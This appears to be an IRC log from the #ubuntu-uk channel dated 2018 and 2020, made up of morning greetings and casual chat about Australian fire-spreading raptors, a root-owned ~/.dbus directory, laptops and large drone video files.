<fujisan> i also chatted with Myrtti here 10 years ago and sorry for the trolling back then
<brobostigon> morning boys and girls.
<daftykins> well that was a weird drop in visit
#ubuntu-uk 2018-01-21
<zmoylan-pi> just when you thought australia had run out of ways to try and hurt you... https://cosmosmagazine.com/biology/australian-raptors-start-fires-to-flush-out-prey
<penguin42> fun isn't it
<penguin42> apparently the native peoples had known it for centuries
<zmoylan-pi> in 70s humans were top of the heap as we were only tool users...
<zmoylan-pi> can't listen to the natives, they haven't been to college...
<CoderEurope> Mornin' sorry for trollin' | but wat is the XPS 15 laptop for linux (for a frien).
<CoderEurope> ^ ?
<CoderEurope> no answer - so no laptop, then :V
<brobostigon> morning boys and girls.
<zmoylan-pi> o/
<zleap> morning
<brobostigon> o/
<Nafallo> morning
<Gargoyle> Hey all.
<Gargoyle> Should I be worried that my ~/.dbus directory is owned by root?
<diddledan> Gargoyle: I don't have a ~/.dbus directory, so I'd imagine it probably isn't being used?
<diddledan> https://twitter.com/zackbloom/status/955133116552589312
<Gargoyle> diddledan: Looks that way, actually. Only has one file last modified in november.
#ubuntu-uk 2020-01-16
<brobostigon> morning
<zxmoypi> o/
<daftykins> morn
 * zxmoypi prepares first mug of tea of the day...
#ubuntu-uk 2020-01-17
<brobostigon> morning
<zxmoypi> o/
<brobostigon> o/
<knightwise> hey everyone
<zxmoypi> o/
<brobostigon> \o
<knightwise> hey guys
<knightwise> howsithangin
<brobostigon> caught up on my sleep this morning, from all my early shifts this week, and you?
<knightwise> still recovering from a heavy day yesterday
<knightwise> shooting video for a client ..
<knightwise> always pretty intense + i have a mountain of editing to do
<knightwise> always pretty intense + i have a mountain of editing to do
<brobostigon> :(
<knightwise> brobostigon: its fun though.
<knightwise> Worked with the Skydio2, autonomous drone
<brobostigon> :)
<knightwise> only downside is that the footage of that 4K 128fps camera is MASSIVE
<brobostigon> most definitly, if i do video on my pixel 2, which records at 4k 60fps, they turn out huge as well.
<knightwise> 50/80 gig
<brobostigon> yikes.
#ubuntu-uk 2020-01-18
<brobostigon> morning
<zxmoypi> o/
<brobostigon> \o
#ubuntu-uk 2020-01-19
<brobostigon> morning
<zxmoypi> o/
